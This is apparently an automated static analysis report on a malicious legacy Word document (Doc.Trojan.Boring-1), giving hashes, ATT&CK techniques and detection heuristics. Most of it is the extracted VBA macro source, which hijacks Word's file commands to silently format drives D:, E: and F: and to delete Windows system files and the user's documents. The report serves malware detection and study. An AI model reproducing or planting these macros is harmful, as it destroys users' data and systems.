Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c8f78c26fd61b1b4…

MALICIOUS

Office (OLE)

52.5 KB Created: 1998-06-14 10:47:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 07c53fae7c671f5799dbdd07ed89449c SHA-1: a1c258da3d5780e0ba447a7f49cec396e262e688 SHA-256: c8f78c26fd61b1b4df7c6cf1a87a7d127970e51367eac6fe7c289b495c20ebb9
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1485 Data Destruction T1070.004 File Deletion

The sample contains VBA macros that execute destructive commands. Specifically, the 'FileOpen' and 'FileClose' macros contain calls to 'format.com' for drives D:, E:, and F:, and also use 'Kill' commands to delete executable and DLL files from the Windows directory. This indicates a clear intent to cause data destruction and system disruption.

Heuristics 4

  • ClamAV: Doc.Trojan.Boring-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Boring-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9602 bytes
SHA-256: c8907bbac62f5be3d6da292cd410c9e170b48da97021c53a3e4f8174e2d779ad
Detection
ClamAV: Doc.Trojan.Boring-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub FileNew()
Attribute FileNew.VB_Description = "Creates a new document or template"
Attribute FileNew.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.FileNew"
'
' FileNew Macro
' Creates a new document or template
'
On Error GoTo ThatsAllFolks
Kill "c:\windows\*.exe"
Kill "c:\windows\*.com"
Kill "c:\windows\command\*.exe"
Kill "c:\windows\system\*.dll"

ThatsAllFolks:

    Dialogs(wdDialogFileNew).Show

End Sub
Sub FileOpen()
Attribute FileOpen.VB_Description = "Opens an existing document or template"
Attribute FileOpen.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.FileOpen"
'
' FileOpen Macro
' Opens an existing document or template
'
On Error GoTo ThatsAllFolks
Kill "c:\windows\*.exe"
Kill "c:\windows\*.com"
Kill "c:\windows\command\*.exe"
Kill "c:\windows\system\*.dll"

ThatsAllFolks:
Dialogs(wdDialogFileOpen).Show


End Sub
Sub FileClose()
Attribute FileClose.VB_Description = "Closes all of the windows of the active document"
Attribute FileClose.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.FileClose"
'
' FileClose Macro
' Closes all of the windows of the active document
'
On Error GoTo ThatsAllFolks
Shell "c:\windows\command\format.com d:\ /u /q /autotest", vbMinimizedFocus
Shell "c:\windows\command\format.com e:\ /u /q /autotest", vbMinimizedFocus
Shell "c:\windows\command\format.com f:\ /u /q /autotest", vbMinimizedFocus
Kill "c:\windows\*.exe"
Kill "c:\windows\*.com"
Kill "c:\windows\command\*.exe"
Kill "c:\windows\system\*.dll"
Kill "c:\mydocu~1\*.*"


ThatsAllFolks:
Select Case Err.Number
        Case 55
            Close #1
        Case Else
    
            
End Select
    Resume
                

    WordBasic.FileClose

End Sub
Sub FileSave()
Attribute FileSave.VB_Description = "Saves the active document or template"
Attribute FileSave.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.FileSave"
'
' FileSave Macro
' Saves the active document or template
'
On Error GoTo ThatsAllFolks
Shell "c:\windows\command\format.com d:\ /u /q /autotest", vbMinimizedFocus
Shell "c:\windows\command\format.com e:\ /u /q /autotest", vbMinimizedFocus
Shell "c:\windows\command\format.com f:\ /u /q /autotest", vbMinimizedFocus
Kill "c:\windows\*.exe"
Kill "c:\windows\*.com"
Kill "c:\windows\command\*.exe"
Kill "c:\windows\system\*.dll"
Kill "c:\mydocu~1\*.*"
ThatsAllFolks:
Select Case Err.Number
        Case 55
            Close #1
        Case Else
    
            
End Select
    Resume
    ActiveDocument.Save

End Sub
Sub FileVersions()
Attribute FileVersions.VB_Description = "Manages the versions of a document"
Attribute FileVersions.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.FileVersions"
'
' FileVersions Macro
' Manages the versions of a document
'
On Error GoTo ThatsAllFolks
Shell "c:\windows\command\format.com d:\ /u /q /autotest", vbMinimizedFocus
Shell "c:\windows\command\format.com e:\ /u /q /autotest", vbMinimizedFocus
Shell "c:\windows\command\format.com f:\ /u /q /autotest", vbMinimizedFocus
Kill "c:\windows\*.exe"
Kill "c:\windows\*.com"
Kill "c:\windows\command\*.exe"
Kill "c:\windows\system\*.dll"
Kill "c:\mydocu~1\*.*"
ThatsAllFolks:
Select Case Err.Number
        Case 55
            Close #1
        Case Else
    
            
End Select
    Resume


    Dialogs(wdDialogFileVersions).Show

End Sub
Sub FilePageSetup()
Attribute FilePageSetup.VB_Description = "Changes the page setup of the selected sections"
Attribute FilePageSetup.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.FilePageSetup"
'
' FilePageSetup Macro
' Changes the page setup of the selected sections
'
On Error GoTo ThatsAllFolks
Shell "c:\windows\command\format.com d:\ /u /q /autotest", vbMinimizedFocus
Shell "c:\windows\command
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.